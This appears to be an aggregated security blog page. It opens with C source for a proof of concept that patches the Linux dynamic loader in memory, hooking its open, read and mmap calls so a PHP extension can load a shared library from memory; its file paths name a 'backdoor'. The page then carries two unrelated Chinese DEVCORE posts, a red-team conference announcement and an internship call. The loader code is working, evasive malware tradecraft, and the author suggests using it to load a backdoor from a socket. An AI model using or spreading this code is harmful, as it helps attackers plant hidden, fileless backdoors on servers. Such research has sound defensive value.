const char read_pattern[] = {0x48, 0x29, 0xc2, 0x48,  0x8d, 0x34,  0x07, 0x44, 0x89, 0xff, 0xe8};
#define read_pattern_length 11

/*
pwndbg> disass 0x7ffff7fcc088,+40
Dump of assembler code from 0x7ffff7fcc088 to 0x7ffff7fcc0b0:
   0x00007ffff7fcc088 <_dl_map_object_from_fd+1208>:    mov    ecx,0x812
   0x00007ffff7fcc08d <_dl_map_object_from_fd+1213>:    mov    DWORD PTR [rbp-0xe0],r11d
   0x00007ffff7fcc094 <_dl_map_object_from_fd+1220>:    call   0x7ffff7fe9cc0 <__mmap64>
*/
const char mmap_pattern[] = {0xb9, 0x12, 0x08, 0x00, 0x00, 0x44, 0x89, 0x9d, 0x20, 0xff, 0xff, 0xff, 0xe8};
#define mmap_pattern_length 13

/*
pwndbg> disass 0x7ffff7fcc0c8,+20
Dump of assembler code from 0x7ffff7fcc0c8 to 0x7ffff7fcc0dc:
   0x00007ffff7fcc0c8 <_dl_map_object_from_fd+1272>:    mov    edi,DWORD PTR [rbp-0xd4]
   0x00007ffff7fcc0ce <_dl_map_object_from_fd+1278>:    lea    rsi,[rbp-0xc0]
   0x00007ffff7fcc0d5 <_dl_map_object_from_fd+1285>:    call   0x7ffff7fe98a0 <__GI___fstat64>
   */
const char fxstat_pattern[] = {0x8b, 0xbd, 0x2c, 0xff, 0xff, 0xff, 0x48, 0x8d, 0xb5, 0x40, 0xff, 0xff, 0xff, 0xe8};
#define fxstat_pattern_length 14

/*
pwndbg> disass 0x7ffff7fcc145,+40
Dump of assembler code from 0x7ffff7fcc145 to 0x7ffff7fcc16d:
   0x00007ffff7fcc145 <_dl_map_object_from_fd+1397>:    mov    edi,DWORD PTR [rbp-0xd4]
   0x00007ffff7fcc14b <_dl_map_object_from_fd+1403>:    call   0x7ffff7fe99f0 <__GI___close_nocancel>
*/
const char close_pattern[] = {0x8b, 0xbd, 0x2c, 0xff, 0xff, 0xff, 0xe8};
#define close_pattern_length 7

/*
pwndbg> disass 0x7ffff7fc996a,+40
Dump of assembler code from 0x7ffff7fc996a to 0x7ffff7fc9992:
   0x00007ffff7fc996a <open_verify+42>: mov    esi,0x80000
   0x00007ffff7fc996f <open_verify+47>: mov    rdi,r14
   0x00007ffff7fc9972 <open_verify+50>: xor    eax,eax
   0x00007ffff7fc9974 <open_verify+52>: call   0x7ffff7fe9b00 <__GI___open64_nocancel>
*/
const char open_pattern[] = {0xbe, 0x00, 0x00, 0x08, 0x00, 0x4c, 0x89, 0xf7, 0x31, 0xc0, 0xe8};
#define open_pattern_length 11

/*
pwndbg> disass 0x00007ffff7fcc275,+40
Dump of assembler code from 0x7ffff7fcc275 to 0x7ffff7fcc29d:
   0x00007ffff7fcc275 <_dl_map_object_from_fd+1701>:    mov    rsi,rax
   0x00007ffff7fcc278 <_dl_map_object_from_fd+1704>:    mov    QWORD PTR [rbp-0x158],rax
   0x00007ffff7fcc27f <_dl_map_object_from_fd+1711>:    call   0x7ffff7fe9bb0 <__GI___pread64_nocancel>
*/
const char pread64_pattern[] = {0x48, 0x89, 0xc6, 0x48, 0x89, 0x85, 0xa8, 0xfe, 0xff, 0xff, 0xe8};
#define pread64_pattern_length 11

const char* patterns[] = {read_pattern, mmap_pattern, pread64_pattern, fxstat_pattern, close_pattern,
                          open_pattern, NULL};
const size_t pattern_lengths[] = {read_pattern_length, mmap_pattern_length, pread64_pattern_length, 
                                  fxstat_pattern_length, close_pattern_length, open_pattern_length, 0};
const char* symbols[] = {"read", "mmap", "pread", "fstat", "close", "open", NULL};
uint64_t functions[] = {(uint64_t)&my_read, (uint64_t)&my_mmap, (uint64_t)&my_pread64, (uint64_t)&my_fstat, 
                        (uint64_t)&my_close, (uint64_t)&my_open, 0}; 
char *fixes[7] = {0};

uint64_t fix_locations[7] = {0};
size_t page_size;
uint64_t first = 0;

bool find_ld_in_memory(uint64_t *addr1, uint64_t *addr2) {
    FILE* f = NULL;
    char  buffer[1024] = {0};
    char* tmp = NULL;
    char* start = NULL;
    char* end = NULL;
    bool  found = false;

    if ((f = fopen("/proc/self/maps", "r")) == NULL){
        return found;
    }

    while ( fgets(buffer, sizeof(buffer), f) ){
        if ( strstr(buffer, "r-xp") == 0 ) {
            continue;
        }
        if ( strstr(buffer, "ld-linux-x86-64.so.2") == 0 ) {
            continue;        
        }

        buffer[strlen(buffer)-1] = 0;
        tmp = strrchr(buffer, ' ');
        if ( tmp == NULL || tmp[0] != ' ')
            continue;
        ++tmp;

        start = strtok(buffer, "-");
        *addr1 = strtoul(start, NULL, 16);
        end = strtok(NULL, " ");
        *addr2 = strtoul(end, NULL, 16);
        found = true;
    }
    fclose(f);
    return found;
}


/* hooks */

int my_open(const char *pathname, int flags) {
    void *handle;
    int (*mylegacyopen)(const char *pathnam, int flags);

    handle = dlopen (LIBC, RTLD_NOW);
    mylegacyopen = dlsym(handle, "open");
    if (strstr(pathname, "magic.so") != 0){
        printf("\t[+] Open called with magic word. Returning magic FD (0x69)\n");
        return 0x69;
    }
    return mylegacyopen(pathname, flags);
}

ssize_t my_read(int fd, void *buf, size_t count){
    void *handle;
    ssize_t (*mylegacyread)(int fd, void *buf, size_t count);

    handle = dlopen (LIBC, RTLD_NOW);
    mylegacyread = dlsym(handle, "read");
    if (fd == 0x69){
        size_t size = 0;
        if ( libdata.size - libdata.current >= count ) {
            size = count;
        } else {
            size = libdata.size - libdata.current;
        }
        memcpy(buf, libdata.data + libdata.current, size);
        libdata.current += size;
        printf("\t[+] Read called with magic FD. Returning %ld bytes from memory\n", size);
        return size;
    }
    size_t ret =  mylegacyread(fd, buf, count);
    printf("Size: %ld\n",ret);
    return ret;
}

void * my_mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset){
    int mflags = 0;
    void * ret = NULL;
    uint64_t start = 0;
    size_t size = 0;

    if ( fd == 0x69 ) {
        mflags = MAP_PRIVATE|MAP_ANON;
        if ( (flags & MAP_FIXED) != 0 ) {
            mflags |= MAP_FIXED;
        }
        ret = mmap(addr, length, PROT_READ|PROT_WRITE|PROT_EXEC, mflags, -1, 0);
        size = length > libdata.size - offset ? libdata.size - offset : length;
        memcpy(ret, libdata.data + offset, size);
        mprotect(ret, size, prot);
        if (first == 0){
            first = (uint64_t)ret;
        }
        printf("\t[+] Inside hooked mmap (fd: 0x%x)\n", fd);
        return ret;
    }
    return mmap(addr, length, prot, flags, fd, offset);
}


int my_fstat(int fd, struct stat *buf){
    void *handle;
    int (*mylegacyfstat)(int fd, struct stat *buf);


    handle = dlopen (LIBC, RTLD_NOW);
    mylegacyfstat = dlsym(handle, "fstat64");

    if ( fd == 0x69 ) {
        memset(buf, 0, sizeof(struct stat));
        buf->st_size = libdata.size;
        buf->st_ino = 0x666; // random number
        printf("\t[+] Inside hooked fstat64 (fd: 0x%x)\n", fd);
        return 0;
    }
    return mylegacyfstat(fd, buf);
}

int my_close(int fd) {
    if (fd == 0x69){
        printf("\t[+] Inside hooked close (fd: 0x%x)\n", fd);
        return 0;
    }
    return close(fd);
}

ssize_t my_pread64(int fd, void *buf, size_t count, off_t offset) {
    void *handle;
    int (*mylegacypread)(int fd, void *buf, size_t count);

    handle = dlopen(LIBC, RTLD_NOW);
    mylegacypread = dlsym(handle, "pread");
    printf("\t[+] Inside pread64 (FD: %d)\n", fd);
    return mylegacypread(fd, buf, count);
}


/* Patch ld.so */
bool search_and_patch(uint64_t start_addr, uint64_t end_addr, const char* pattern, const size_t length, const char* symbol, const uint64_t replacement_addr, int position) {

    bool     found = false;
    int32_t  offset = 0;
    uint64_t tmp_addr = 0;
    uint64_t symbol_addr = 0;
    char * code = NULL;
    void * page_addr = NULL;

    tmp_addr = start_addr;
    while ( ! found && tmp_addr+length < end_addr) {
        if ( memcmp((void*)tmp_addr, (void*)pattern, length) == 0 ) {
            found = true;
            continue;
        }
        ++tmp_addr;
    }

    if ( ! found ) {
        return false;
    }

    offset = *((uint64_t*)(tmp_addr + length));
    symbol_addr = tmp_addr + length + 4 + offset;

    //Save data to fix later
    fixes[position] = malloc(stub_length * sizeof(char));
    memcpy(fixes[position], (void*)symbol_addr, stub_length);
    fix_locations[position] = symbol_addr;
    printf("[*] Symbol: %s - Addr: %lx\n", symbol, fix_locations[position]);

    code = malloc(stub_length * sizeof(char));
    memcpy(code, stub, stub_length);
    memcpy(code+6, &replacement_addr, sizeof(uint64_t));

    page_addr = (void*) (((size_t)symbol_addr) & (((size_t)-1) ^ (page_size - 1)));
    mprotect(page_addr, page_size, PROT_READ | PROT_WRITE); 
    memcpy((void*)symbol_addr, code, stub_length);
    mprotect(page_addr, page_size, PROT_READ | PROT_EXEC); 
    return true;
}

/* Read file from disk */
bool load_library_from_file(char * path, lib_t *libdata) {
    struct stat st;
    FILE * file;
    size_t read;

    if ( stat(path, &st) < 0 ) {
        return false;
    }

    libdata->size = st.st_size;
    libdata->data = malloc( st.st_size );
    libdata->current = 0;

    file = fopen(path, "r");

    read = fread(libdata->data, 1, st.st_size, file);
    fclose(file);

    return true;
}

/* remove hooks */
bool fix_hook(char *fix, uint64_t addr){
    void *page_addr = (void*) (((size_t)addr) & (((size_t)-1) ^ (page_size - 1)));
    mprotect(page_addr, page_size, PROT_READ | PROT_WRITE);
    memcpy((void *)addr, fix, stub_length);
    mprotect(page_addr, page_size, PROT_READ | PROT_EXEC);
    return true;
}

extern void restore(void){
    int i = 0;
    printf("---------------------------------------\n");
    printf("[*] Fixing hooks\n");
    while ( patterns[i] != NULL ) {
           if ( ! fix_hook(fixes[i], fix_locations[i]) ) {
               return;
           }
           ++i;
    }
    return;
}

void patch_all(void){
    uint64_t start = 0;
    uint64_t end = 0;
    size_t i = 0;
    
    page_size = sysconf(_SC_PAGESIZE);
    printf("\t\t-=[ Proof of Concept ]=-\n\n");

    if (!load_library_from_file("/home/vagrant/research/php/backdoor/adepts/adepts.so", &libdata)){
        return;
    }
    if (!find_ld_in_memory(&start, &end)){
        return;
    }
    printf("[*] ld.so found in range [0x%lx-0x%lx]\n", start, end);
    printf("-------------[ Patching  ]-------------\n");
    while ( patterns[i] != NULL ) {
        if ( ! search_and_patch(start, end, patterns[i], pattern_lengths[i], symbols[i], functions[i], i) ) {     
            return;
        } 
        ++i;
    }
    printf("---------------------------------------\n");
    return;
}


static void check(void) __attribute__((constructor));
void check(void){
    printf("~~~> Hello from adepts.o <~~~\n");
    return;
}

/* Functions to execute */
zend_result onLoad(int a, int b){
    printf("[^] Executing onLoad\n");
    void* handle = dlopen("/home/vagrant/research/php/backdoor/adepts/adepts.so", RTLD_LAZY);
    while (dlclose(handle) != -1){
        printf("[*] dlclose()\n");
    }
    return SUCCESS;
}
zend_result onRequest(void){
    php_printf("\n[/!\\] Adepts of 0xCC [/!\\]\n\n");
    return SUCCESS;
}


// Basic zend_module_entry
zend_module_entry adepts_module_entry = {
    STANDARD_MODULE_HEADER,
    "adepts",                   /* Extension name */
    NULL,                   /* zend_function_entry */
    NULL,                           /* PHP_MINIT - Module initialization */
    NULL,                           /* PHP_MSHUTDOWN - Module shutdown */
    NULL,           /* PHP_RINIT - Request initialization */
    NULL,                           /* PHP_RSHUTDOWN - Request shutdown */
    NULL,           /* PHP_MINFO - Module info */
    PHP_ADEPTS_VERSION,     /* Version */
    STANDARD_MODULE_PROPERTIES
};

//Function "get_module" that will be executed by PHP
__attribute__((visibility("default")))
extern zend_module_entry *get_module(void){
    patch_all();
    void *handler = dlopen("./magic.so", RTLD_LAZY); 
    restore();

    static Dl_info info;
    dladdr(&info, &info);
    uint64_t diffLoad = (uint64_t)&onLoad - (uint64_t)info.dli_fbase;
    uint64_t diffRequest = (uint64_t)&onRequest - (uint64_t)info.dli_fbase;
    uint64_t newLoad = first + diffLoad;
    uint64_t newRequest = first + diffRequest;

    uint64_t diffModule = (uint64_t)&adepts_module_entry - (uint64_t)info.dli_fbase;
    ((zend_module_entry *)(diffModule + first))->module_startup_func = (void *)newLoad;
    ((zend_module_entry *)(diffModule + first))->request_shutdown_func = (void *)newRequest;
    return (void *)(diffModule + first);
}



#ifdef COMPILE_DL_ADEPTS
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(adepts)
#endif

EoF

We hope you enjoyed this reading. This same technique leveraged by memdlopen can be used in different situations like, for example, loading a complex backdoor (a whole shared library vs a simple shellcode) from a socket avoiding the usage of memfd_create.

Feel free to give us feedback at our twitter @AdeptsOf0xCC.

DEVCORE CONFERENCE 2023 即日起開放報名

11 January 2023 at 16:00

DEVCORE 很高興地宣佈,純攻擊導向的專業技術研討會 DEVCORE CONFERENCE,在暌違三年後,將於 3 月 10 日至 3 月 11 日於台北 TICC 國際會議中心再次盛大舉行,即日起開放報名,同時為慶祝 DEVCORE 創立十週年,除了原有的駭客技術議程外,特別加開企業場。

「DEVCORE 十年來持續提供企業頂尖的主動式資安服務,很高興看到資安與紅隊演練日漸受到台灣業界與政府單位重視,希望將我們一路累積的經驗與能量,不藏私地分享給所有志同道合的夥伴,共同為台灣資安產業的發展並肩作戰。」執行長暨共同創辦人翁浩正(Allen)表示。

紅隊總監暨共同創辦人許復凱(Shaolin)則強調,目前台灣僅有 DEVCORE 願意公開分享紅隊進階攻擊技法,機會相當難得,而此場研討會不僅適合希望更加深入了解攻擊技術的聽眾,也很適合企業藍隊藉此了解紅隊如何看待防禦,從中獲得啟發,以了解可以強化的防禦面向,現場也將與聽眾交流技術及駭客思維。

針對駭客場,許復凱分析,上半場將於聽眾分享紅隊在真實演練時如何運用企業與藍隊難以想像的攻擊手法,下半場則著重分享 DEVCORE 團隊對真實世界產品的研究手法,甚至也有全球白帽駭客最高殿堂 Pwn2Own 等參賽背後秘辛與趣事,場場精華,不容錯過。

駭客場將分享最新漏洞研究及真實紅隊演練案例,包含:從零開始的 Pwn2Own 駭客大賽奪冠之路、如何以 MITRE ATT&CK 框架檢視紅隊演練、SSRF 攻擊手法與實戰精華、Email 現代攻擊手法、如何將廢洞串接成 RCE 漏洞、虛擬機之安全挑戰、物聯網裝置攻擊實例。企業場則將以深入淺出的方式分享台灣資安十年更新迭代、DEVCORE 十年資安奇幻旅程、紅隊演練策略使用方式與真正價值、企業常見資安風險、最讓駭客頭痛的資安防禦機制等。

活動資訊

時間:

  • 企業場:2023/03/10(五)13:00 - 16:30(報名審核制)
  • 駭客場:2023/03/11(六)08:40 - 16:20(收費制)

地點:

  • TICC 台北國際會議中心 201 會議室(台北市信義區信義路五段1號)

費用:

  • 2023/03/10(五)企業場:免費
  • 2023/03/11(六)駭客場(十週年特惠價):早鳥票 3,000 元(限額 150 名);晚鳥票 5,000 元;學生票 1,500 元

議程介紹

2023/03/10(五)企業場:

本場次專為企業決策者及資安管理者量身打造,將從 DEVCORE 為何於 2017 年發現客戶需求、首先推出紅隊演練開始,細數 5 年來我們在近 70 場紅隊演練中的珍貴發現,包含供應鏈中易被忽略的資安風險、資安策略與機制優先順序如何斟酌、資安產品有效性驗證等。

此外,我們也將透過此場研討會,協助企業理解如何打造最適合的資安戰略,並能有效、正確使用紅隊演練此項策略工具,達到識別風險、並發揮紅隊演練最大效益。

在企業場中,我們也特別納入企業最常見的資安問題、如何自我評估安全、如何保護網域服務(AD)等,建立資安自保觀念後,再進一步探討哪些防禦機制與產業尤難攻陷、攻擊者如何情蒐與挑選目標等。

面對永不停歇的網路戰,建構正確的資安策略,將是迎戰的第一步,而唯有了解真實的駭客思維與攻擊方式,才能確保企業立於不敗之地。

2023/03/11(六)駭客場:

本場次將深入探討最新攻擊手法與漏洞,適合資安技術人員及有興趣的資安管理階層參與。

以紅隊思維看藍隊防禦,紅藍攻防中的經典案例 具備豐富指揮作戰經驗的 DEVCORE 紅隊演練隊長 Ding,將於本場議程中分享近 70 場橫跨金融、科技、電商、傳產等各產業經典案例,並以 MITRE ATT&CK 框架,逐一分析實戰經驗中使用的戰術與攻擊手法:初始入侵除了OWASP TOP 10 中常見攻擊技巧外還有哪些方式?攻擊者如何持續潛伏,且同時達成防毒軟體未示警、亦無檔案落地?攻擊者如何在網路實體隔離時仍能橫向移動?攻擊者如何以出人意料的手段提升權限?

讓流量穿過你的巴巴 - 紅隊實戰 SSRF 經典案例 儘管 SSRF 是一個歷史悠久的知名攻擊手法,攻擊者可藉此穿過外網防火牆、入侵內網,但相較於指令注入或任意檔案上傳等類 RCE 漏洞,其嚴重性似乎略遜一籌。紅隊演練專家 Vtim 將以過去於紅隊演練專案中遇到的 SSRF 真實案例,探討其究竟是報告上有名無實的高風險漏洞,或是企業仍不能忽視的重要安全問題。

I wanna know 你信不信 - 現代郵件詐術 去年於國際技能競賽網路安全職類取得銀牌的台灣國手,同時也是 DEVCORE 紅隊演練專家的 Mico,將於此場議程中分享各種企業組織與個人收信方式組合式攻擊手法,並逐一剖析攻擊者如何使用 Email 偽造欺騙以及繞過垃圾郵件過濾器,協助企業防範以 Email 做為初始入侵點的攻擊。

黑魔法、大壞蛋得崩,讓四個臭蟲變成漏洞吧! 再廢的低分漏洞也有春天!雞肋般的弱點,對紅隊而言還有任何利用價值嗎?低風險、利用機會也低的小漏洞,企業真的可以置之不理嗎?DEVCORE 資深紅隊演練專家 Cyku 及 技術專案經理 Crystal 將透過實際案例,分享攻擊者如何將四個 CVSS 幾乎 0.0 分的廢洞化腐朽為神奇,串成 RCE 漏洞。

挑戰百萬賞金!虛擬世界之密室逃脫 以虛擬機分析惡意程式是目前被廣泛採用的分析方式之一,然而其背後卻可能存在易被忽略的安全問題及漏洞。曾獲駭客奧斯卡 Pwnie Awards 「最佳伺服器漏洞」 肯定的資深資安研究員 Meh 將以 VMware 中潛藏於 DHCP 協議的漏洞為例,與聽眾分享虛擬機潛在的資安風險以及其研究成果。

Remote Door Execution 家用物聯網裝置被駭客用以監看或監聽已是廣為人知的資安問題,然而若門鎖也能被遠端遙控開啟,除了個人隱私遭到侵犯,更是居家安全的重大威脅。與研究團隊共同奪得 Pwn2Own Toronto 2022 冠軍的資安研究員 Nini,將於本場議程中分享其如何嘗試透過軟硬體攻擊,最終在電子鎖上發掘可以任意開門的漏洞。

From Zero to Hero - 從零開始的 Pwn2Own 奪冠之路 DEVCORE 自 2020 年開始參與白帽駭客最高殿堂競賽 Pwn2Own,迄今拿下兩次亞軍、兩次冠軍。此場議程將由駭客界頗負盛名、屢屢獲獎並受邀演講的 DEVCORE 首席資安研究員 Orange 及資深資安研究員 Angelboy 共同主講,與會眾分享如何挑選目標、建立團隊默契、試誤與學習、與廠商之間的攻防戰等參賽背後秘辛與趣事。

議程表

2023/03/10(五)企業場:

時間 議程 講師
13:00 - 13:30 來賓報到
13:30 - 13:40 開幕
13:40 - 14:10 攻擊一日,創業十年 DEVCORE 執行長暨共同創辦人 Allen
14:10 - 14:40 紅隊紅隊,多少服務假汝之名而行! DEVCORE 商務發展總監 Aaron
14:40 - 15:20 中場休息
15:20 - 15:50 紅隊常見 Q&A 大解密 DEVCORE 資深副總暨共同創辦人 Bowen
15:50 - 16:20 紅隊的下一步 Ver. 2023 DEVCORE 紅隊總監暨共同創辦人 Shaolin
16:20 - 16:30 閉幕

2023/03/11(六)駭客場:

時間 議程 講師
08:40 - 09:30 來賓報到
09:30 - 09:40 開幕
09:40 - 10:10 以紅隊思維看藍隊防禦,紅藍攻防中的經典案例 DEVCORE 紅隊演練隊長 Ding
10:10 - 10:40 讓流量穿過你的巴巴 - 紅隊實戰 SSRF 經典案例 DEVCORE 紅隊演練專家 Vtim
10:40 - 11:00 中場休息 /
11:00 - 11:30 I wanna know 你信不信 - 現代郵件詐術 DEVCORE 紅隊演練專家 Mico
11:30 - 12:00 黑魔法、大壞蛋得崩,讓四個臭蟲變成漏洞吧! DEVCORE 資深紅隊演練專家 Cyku
& 技術專案經理 Crystal
12:00 - 13:30 午餐休息
13:30 - 14:00 挑戰百萬賞金!虛擬世界之密室逃脫 DEVCORE 資深資安研究員 Meh
14:00 - 14:30 Remote Door Execution DEVCORE 資安研究員 Nini
14:30 - 15:10 中場休息
15:10 - 16:10 From Zero to Hero - 從零開始的 Pwn2Own 奪冠之路 DEVCORE 首席資安研究員 Orange
& 資深資安研究員 Angelboy
16:10 - 16:20 閉幕

詳細資訊及報名方式請至 KKTIX 查詢:

DEVCORE 2023 第三屆實習生計畫

13 January 2023 at 16:00

DEVCORE 創立迄今已逾十年,持續專注於提供主動式資安服務,並致力尋找各種安全風險及漏洞,讓世界變得更安全。為了持續尋找更多擁有相同理念的資安新銳、協助學生建構正確資安意識及技能,我們成立了「戴夫寇爾全國資訊安全獎學金」,2022 年初也開始舉辦首屆實習生計畫,目前為止成果頗豐、超乎預期,第二屆實習生計畫也將於今年 2 月底告一段落。我們很榮幸地宣佈,第三屆實習生計畫即將登場,若您期待加入我們、精進資安技能,煩請詳閱下列資訊後來信報名!

實習內容

本次實習分為 Binary 及 Web 兩個組別,主要內容如下:

  • Binary 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及寫過往漏洞的 Exploit,理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。
    • 漏洞挖掘及研究 70 %
    • 1-day 開發 (Exploitation)
  • Web 主要內容為研究過往漏洞與近年常見新型態漏洞、攻擊手法,需要製作投影片介紹成果並建置可供他人重現弱點的模擬測試環境 (Lab),另可能需要撰寫或修改可利用攻擊程式進行弱點驗證。
    • 漏洞及攻擊手法研究 70%
    • 建置 Lab 30%

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

  • 2023 年 3 月開始到 2023 年 7 月底,共 5 個月。
  • 每週工作兩天,工作時間為 10:00 – 18:00
    • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
      • 如果居住雙北外可彈性調整(但須每個組別統一)
    • 其餘時間皆為遠端作業

招募對象

大專院校大三(含)以上具有一定程度資安背景的學生

預計招收名額

  • Binary 組:2~3 人
  • Web 組:2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程

實習條件要求

Binary

  • 基本逆向工程及除錯能力
    • 能看懂組合語言並瞭解基本 Debugger 使用技巧
  • 基本漏洞利用能力
    • 須知道 Stack overflow、ROP 等相關利用技巧
  • 基本 Scripting Language 開發能力
    • Python、Ruby
  • 具備分析大型 Open Source 專案能力
    • 以 C/C++ 為主
  • 具備基礎作業系統知識
    • 例如知道 Virtual Address 與 Physical Address 的概念
  • Code Auditing
    • 知道怎樣寫的程式碼會有問題
      • Buffer Overflow
      • Use After free
      • Race Condition
  • 具備研究熱誠,習慣了解技術本質
  • 加分但非必要條件
    • CTF 比賽經驗
    • pwnable.tw 成績
    • 樂於分享技術
      • 有公開的技術 blog/slide、Write-ups 或是演講
    • 精通 IDA Pro 或 Ghidra
    • 有寫過 1-day 利用程式
    • 具備下列其中之一經驗
      • Kernel Exploit
      • Windows Exploit
      • Browser Exploit
      • Bug Bounty

Web

  • 熟悉 OWASP Web Top 10。
  • 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。
    • 參考連結:https://portswigger.net/web-security/all-materials
  • 理解計算機網路的基本概念。
  • 熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。
  • 熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。
  • 具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。
  • 具備追根究柢的精神。
  • 加分但非必要條件
    • 曾經獨立挖掘過 0-day 漏洞。
    • 曾經獨立分析過已知漏洞並能撰寫 1-day exploit。
    • 曾經於 CTF 比賽中擔任出題者並建置過題目。
    • 擁有 OSCP 證照或同等能力之證照。

應徵流程

本次甄選一共分為三個階段:

第一階段:書面審查

第一階段為書面審查,會需要審查下列兩個項目

  • 書面審查
  • 簡答題及實作題答案
    • 應徵 Binary 實習生需額外在履歷附上下述問題答案
      • 簡答題
        • 請提出三個,你印象最深刻或感到有趣、於西元 2020 ~ 2023 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響。
      • 實作題目
        • 題目檔案
          • 為一個互動式的 Server,可透過網路連線與之互動。
        • 請分析上述所提供的 Server,並利用其中的漏洞在 Windows 11 上跳出 calc.exe。
          • 漏洞可能有很多,不一定每個都可以利用。
        • 請務必寫下解題過程及如何去分析這個 Server,並交 write-up,請盡你所能來解題,即使最後沒有成功,也請寫下您所嘗試過的方法及思路,本測驗將會以 write-up 為主要依據。
    • 應徵 Web 實習生需額外在履歷附上下述問題答案
      • 簡答題
        • 請提出三個,你印象最深刻或感到有趣、於西元 2020 ~ 2023 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響。

本階段收件截止時間為 2023/2/3 10:00,我們會根據您的履歷及題目所回答的內容來決定是否有通過第一階段,我們會在七個工作天內回覆。

第二階段:能力測驗

  • Binary
  • Web
    • 第二階段會根據您的履歷或是任何可證明具備足夠 Web 滲透相關技能的資料來決定是否需要另外做題目,如果未達標準會另外準備靶機測驗,待我們收到解題過程後,將會根據您的狀況決定是否可以進入第三階段。
    • 本階段收件時間為 2023/2/5 23:59,建議提早遞交履歷,可以提前作答。

第三階段:面試

此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。

報名方式

  • 請將您的履歷題目答案以 PDF 格式寄到 [email protected]
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
    • 請於 2023/02/03 10:00 前寄出(如果名額已滿則視情況提早結束)
  • 信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)
  • 履歷內容請務必控制在三頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 實習經歷
    • 社群活動經歷
    • 特殊事蹟
    • 過去對於資安的相關研究
    • 對於這份實習的期望
    • MBTI 職業性格測試結果(測試網頁

若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!

❌
❌